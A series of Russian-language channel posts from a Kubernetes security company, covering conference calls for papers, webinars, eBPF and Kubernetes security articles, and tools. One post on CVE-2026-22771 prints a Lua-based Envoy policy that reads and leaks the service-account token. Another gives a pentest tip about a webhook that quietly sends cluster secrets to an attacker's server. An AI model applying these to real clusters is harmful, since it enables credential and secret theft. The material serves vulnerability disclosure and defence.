Прием заявок на доклады БеКон 2026 уже открыт! Единственная конференция по безопасности контейнерных технологий ждет ваших заявок ;)

И тут у нас есть нововведение. Теперь на конференции будет не 1, а 2 трека. При этом у них есть строгое логическое разграничение.

1 трек - Ингредиенты

Данный трек посвящен технологиям. Он для инженеров, кто воплощает задуманное на практике. Этот трек у нас был и в предыдущие года, и будет продолжать радовать глубокими техническими докладами.

2 трек - Рецепты

Данный трек посвящен людям, командам и процессам связанным с безопасностью контейнеров и Kubernetes. Он для С-level, Leads, которые продумывают и выстраивают все в компании. Этот трек как раз новинка и призван расширить спектр докладов.

P.S. Как всегда будем рады обсудить и помочь сформировать заявку если у вас есть мысль/идея, но вы не уверены в ней.

P.S.S. Будем признательны за репост!

18 декабря состоялась первая встреча рабочей группы Checkpoint Restore! При этом технология в индустрии уже лет 6 так или иначе мелькает - мы писали об этом еще в 2020 и в 1.25 есть некоторые наработки.

На этой встрече команда выделила основные цели и задачи:
1) Интеграция в Kubernetes
2) Сбор мнений сообщества
3) Разработка стандартизованного API
4) Координация усилий (CRI-O, Containerd, gVisor)

Use Cases:
- Расследование инцидентов
- Быстрый запуск контейнеров (Java, AI)
- Отказоустойчивость
- Оптимизация ресурсов GPU
- Миграция контейнеров
- Пакетная обработка (batch) и AI обучение

Первые плоды данной рабочей группы мы должны увидеть к версии 1.36

На нашем сайте Luntry в разделе Исследований стали доступны все материалы с вебинара «Интеграция Luntry и ASOC»!

Там мы разобрали:
- Какие данные можно отправлять в ASOC;
- Как это сделать;
- Почему это важно в разрезе DevSecOps;
- Показали на примере нескольких ASOC-решений, как это выглядит.

В обширной статье "A Brief Deep-Dive into Attacking and Defending Kubernetes" описывается, как Kubernetes работает и почему его безопасность критична для корпоративных сред: платформа широко используется в продакшене, но её сложность создаёт обширную поверхность атак — от API сервера до kubelet и etcd.

Автор подробно разбирает реальные векторы атак: неаутентифицированный доступ к API, слишком широкие RBAC права, злоупотребление сервис аккаунтами, вредоносные admission контроллеры, DNS отравление через CoreDNS и опасные тома hostPath, которые позволяют захватить Nodes или данные.

Для защиты рекомендуются базовые практики безопасности: отключать анонимный доступ, настраивать RBAC по принципу наименьших привилегий, ограничивать автомонтирование токенов, жестко контролировать admission конфигурации, а также использовать runtime инструменты для обнаружения подозрительных действий в кластере.

Podtrace - диагностический инструмент на базе eBPF для контейнеров в Kubernetes. Возможности:

1. Сетевой мониторинг (Network Tracing)
• Отслеживание TCP: мониторинг задержек (RTT) и ошибок соединений, анализ переповторов (retransmissions), отслеживание состояний соединений (SYN, ESTABLISHED, FIN) и ошибок сетевых устройств.
• Мониторинг UDP: отслеживание операций отправки и получения данных с метриками задержки и пропускной способности.
• Анализ полосы пропускания: мониторинг объема переданных байт для операций TCP/UDP.

2. Мониторинг уровня приложения (Application Layer)
• HTTP и DNS: отслеживание HTTP-запросов/ответов через uprobes и мониторинг DNS-запросов с фиксацией задержек и ошибок.
• Базы данных: трассировка запросов PostgreSQL и MySQL с извлечением паттернов запросов и анализом времени их выполнения.
• TLS/SSL и пулы: мониторинг рукопожатий TLS/SSL, а также отслеживание использования пулов соединений (истощение, повторное использование).

3. Файловая система и системные события
• Операции с файлами: отслеживание операций чтения/записи
• Память: мониторинг ошибок страниц (page faults) и обнаружение завершения процессов из-за нехватки памяти (OOM Kill)
• Системные вызовы (Syscalls): отслеживание жизненного цикла процессов через execve, fork, open и т.д.

4. Производительность системы
• CPU и планировщик: мониторинг блокировок потоков, событий планирования и потребления CPU конкретными процессами.
• Стеки вызовов (Stack Traces): захват стеков вызовов в пользовательском пространстве для медленных операций (I/O, DNS, блокировки CPU), превышающих заданные пороги.
• Конкуренция блокировок: отслеживание ожидания futex и pthread mutex для идентификации «горячих» блокировок.

5. Распределенная трассировка (`Distributed Tracing`)
• Извлечение контекста: автоматическое извлечение данных трассировки из заголовков HTTP/HTTP2 и метаданных gRPC.
• Графы потоков: построение направленных графов взаимодействия сервисов с метриками задержек и ошибок.
• Экспорт данных: поддержка OpenTelemetry (OTLP), Jaeger и Splunk HEC.

6. Диагностика и оповещения
• Режим диагностики (Diagnose Mode): сбор событий за определенный период
• Алерты: Slack, webhook или Splunk
• Интеграция с Prometheus и Grafana

На нашем сайте Luntry в разделе Исследований стали доступны все материалы с вебинара «ИТОГИ 2025»!

В рамках данного вебинары мы:
- Вспомнили о самых значимых и знаковых событиях в развитии Kubernetes;
- Проанализировали громкие уязвимости, атаки и инциденты в контейнерных инфраструктурах;
- Подвели итоги 2025 и заглянули в 2026 год.

В общем, если вы хотите быстро понять каким был этот год в K8s или просто вы были на необитаемом острове целый год и все пропустили, то тут мы все собрали для вас ;)

В статье «A Tour of eBPF in the Linux Kernel: Observability, Security, and Networking» подробно объясняется, что такое eBPF и почему он стал ключевой технологией для современных Linux-систем: eBPF позволяет безопасно выполнять код прямо в ядре без написания модулей, сохраняя высокую производительность и изоляцию. Это радикально меняет подход к наблюдаемости, безопасности и сетям, особенно в облаках и Kubernetes-окружениях.

Автор последовательно разбирает, как устроен eBPF: от компиляции программ в байткод и проверки verifier’ом до JIT-исполнения и привязки к событиям вроде syscalls, tracepoints и сетевых хуков. Отдельное внимание уделено BPF-картам, которые позволяют передавать данные между ядром и user-space и строить сложную логику без заметного overhead.

В практическом плане eBPF уже используется для трейсинга, runtime-безопасности и высокопроизводительного networking’а, часто заменяя iptables, kernel-модули и агентские решения.

Одним из самых частых вопросов на протяжении последних 3-х лет, который мне задавали на моем тренинге, да и вообще на конференциях, после докладов, в кулуарах - это: "А есть отечественные аналоги Talos?"

Этот вопрос и сейчас активно спрашивают, НО теперь на него можно положительно ответить!

Проект ALT Orchestra (исходники) от ребят из Базальта, на базе Talos и в реестре Российского ПО.

О проделанной работе, вкладе в upstream Talos, отличиях, изменениях и планах было рассказано в этом году на KUBER CONF.

Мы очень рассчитываем на то что, это даст положительный толчок нашей индустрии, сигнал для регуляторов, что можно и нужно по другому защищать контейнерные окружения и не мучать всех антивирусами на Node, и вообще повысит уровень безопасности, выбросив модель нарушителя "атакующий на Node" из модели угроз.

Кто-то уже активно использует container specific OS, а кого-то наконец сможет их использовать)

P.S. Также надеемся, что другие отечественные разработчики ОС посмотрят на этот вектор развития своих ОС.

UPD. В комментарии добавлены слайды с KUBER CONF

Начинаем эту неделю с небольшой фишки, которая будет полезна при проведении пентеста Kubernetes в связке с Vault.

Если у вас есть RBAC права на CREATE на ValidatingWebhookConfiguration, вы можете развернуть webhook, который будет незаметно сливать чувствительные данные — такие как secrets, configmaps и т.п. — на ваш веб-сервер.

Последним техническим постом в этoм году мы хотели бы рассказать про статью "A Safer Container Ecosystem with Docker: Free Docker Hardened Images".

По сути это аналог chainguard images, но от ребят из Docker: минималистичный, обновляемый и с аттестационной информацией (SBOM,VEX,SLSA).

Тонкие, захардениные образы это уже давно не роскошь и не прерогатива продвинутых команд, это уже базовый минимум для команд, которые думают о безопасности своих контейнерных приложений.

Подробнее можно узнать из документации.

Подведем итоги года данного канала в цифрах.

Большое спасибо всем читателям, всему сообществу за вашу активность!

P.S. Цифры прошлых лет можно посмотреть тут: 2022, 2023, 2024.

Команда нашего канала и вся команда Luntry хочет поздравить всех вас с наступающим Новым Годом!

В кругу близких и родных за вкусным и аппетитным столом вы получение личные поздравления, а у нас на канале профессиональные ;)

Желаем вам строить и развивать свои безопасные инфраструктуры на базе контейнеров и Kubernetes не по остаточному принципу, а как по одному из основополагающих факторов!

Желаем вам заниматься интересными, креативными задачами, а не муторными, монотонными прописанными в уставе, устаревшим еще в момент его написания.

Желаем вам получать от работы удовольствия и развития!

Мы же со свой стороны как всегда готовы вас радовать интересной, полезной информацией, крутыми фичами в Luntry и всегда помогать по любым вопросам, двигая нашу индустрию вперед!

В первый рабочий день в этом году хотим поделиться с вами полезной статьёй от Chainguard про ingress-nginx. Мы уже говорили в одном из прошлых постов, что проект ingress-nginx движется к завершению жизненного цикла и фактически будет архивирован в 2026 году.

В статье подробно объясняется, почему это проблема для продакшена: без поддержки и security-патчей ingress-nginx со временем станет уязвимым и рискованным компонентом инфраструктуры. При этом ingress-nginx всё ещё используется в огромном количестве Kubernetes кластеров по всему миру.

Chainguard решила временно «поддержать жизнь» проекта через программу EmeritOSS — выпуская обновления безопасности, чтобы дать командам время спокойно спланировать миграцию. Хороший повод проверить, что у вас с ingress-nginx сейчас, и начать готовиться к переходу на альтернативы.

С форком можно ознакомиться тут.

Из статьи "Securing Kubernetes: The Network Policy Reality" вы узнаете результат опроса 530 участников о их жизни и взаимодействии с Network Policy в Kubernetes.

Давно понятно, что их использование это строго обязательно (must have), но для этого как правило требуются дополнительные процессы и инструменты, чтобы жить спокойно.

Так у нас в Luntry мы начинали с того что сначала просто отображали сетевую карту взаимодействия, а потом уже генерацию на ее основе Native, Calico и Cilium политик.

Мы продолжаем готовиться к нашей конференции БеКон 2026 по БЕзопасности КОНтейнеров и Kubernetes!

У нас на сайте появилась кнопка/раздел "Заказ доклада"!

Что это такое?

Программа любой конференции всегда формируется из того, что потенциальные докладчики приносят на CFP или из того, что прорабатывают участники программного комитета конференции. НО мы решили пойти дальше и дать возможность участникам/посетителям сформировать свой запрос к программе конференции!

"Заказ доклада" — это возможность сказать/запросить, то, что бы было интересно и полезно послушать, чтобы конференция была для вас еще более полезной. А мы уже как программный комитет беремся за то, чтобы такой доклад появился в сетке докладов нашими силами или силами наших друзей, коллег, знакомых, ...

Это уникальная возможность, которой нет ни у кого.

P.S. Также принимаем и ждем ваши заявки на CFP ;)

Если вы уже успели переехать с ingress-nginx и используете Gateway, а точнее реализацию от Envoy, стоит обратить внимание на свежую уязвимость в Envoy Gateway – CVE-2026-22771.

Проблема связана с Lua-расширениями: при определённых условиях можно выполнить код внутри прокси и получить доступ к его внутренним данным. В худшем сценарии утекут сертификаты, токены и другие секреты, что открывает путь к управлению трафиком и инфраструктурой.

apiVersion: gateway.envoyproxy.io/v1alpha1
kind: EnvoyExtensionPolicy
metadata:
  name: lua-leak
spec:
  targetRefs:
    - group: gateway.networking.k8s.io
      kind: HTTPRoute
      name: backend
  lua:
    - type: Inline
      inline: |
        function envoy_on_response(response_handle)
          local token = io.open("/var/run/secrets/kubernetes.io/serviceaccount/token", "r")
          local content
          if token then
             content = token:read("*all")
             token:close()
          else
             content = "file-not-found"
          end
          io.write(content)
          error(content)
        end

Уязвимость затрагивает версии до 1.5.7 и 1.6.2 и уже исправлена в обновлениях. Если Envoy Gateway используется в проде, обновляться лучше как можно скорее, а пока — ограничить доступ к созданию политик с Lua через RBAC.

Недавно нам на глаза попался инструмент вот с таким совсем не заурядным описанием)

Проект называется sentrilite и доступен на GitHub!

Давненько не встречались проекты, которые так жестко собирали в своем описание все хайповые слова, технологии и направления)))

Не хотим вас лишать удовольствия от изучения репозитария данного проекта, можно найти много несостыковок, приколов и т.д.

Статья Unpatchable Vulnerabilities of Kubernetes: CVE-2020-8554 подробно разбирает CVE-2020-8554 — архитектурную уязвимость Kubernetes, которая встречается во всех кластерах и не закрывается обычными патчами. Авторы объясняют, как она работает «под капотом», показывают примеры использования ExternalIP и того, как kube-proxy создаёт правила, из-за которых можно перехватить трафик.

В статье пошагово описано, как злоумышленник с правами на создание Service может направить трафик, предназначенный для внешнего IP, в свой под, и какие технические детали iptables-правил стоят за этим поведением.

Кроме того, авторы обсуждают варианты смягчения — например, блокировку ExternalIP через admission контроллеры, использование других CNI решений вроде Cilium и оценку риска в зависимости от модели угроз.

Мы уже достаточно давно на наших вебинарах, выступлениях, тренингах говорим о том, что Nodes кластера это не место для людишек пользователей. Ведь это сразу множество проблем от configuration drift до целой модели нарушителя "атакующий на Node".

Всеми силами старайтесь, чтобы люди не появлялись на Nodes или имели туда доступ в редких, регламентных случаях под пристальным контролем.

Кто-то уже решает это с помощью специализированных хостовых ОС для контейнерных сред, типа Talos.

А кто-то как RedHat разработали для своего OpenShift специальный оператор - machine-config-operator, который с помощью специальных custom resources позволяет выполнять операции на Nodes декларативно и без присутствия человека в системе. Его код открыт и доступен, но можно сказать гвоздями прибит к стеку RedHat ...

И вот наш хороший товарищ Дмитрий Путилин зарелизил проект In-Cloud Machine Config Operator (MCO), который решает данную проблему! В данном проекте можно выделить:
• Декларативное управление конфигурацией узлов через Kubernetes API
• Базовые концепции: MachineConfig, MachinePool и рендеринг состояний
• Безопасное обновление файлов на старте (sysctl, systemd unit — в следующей версии)
• Предсказуемые перезагрузки узлов и контроль конфигурационного дрейфа

Полезная информация:
- Документация
- Демо стенд
- Исходники на GitHub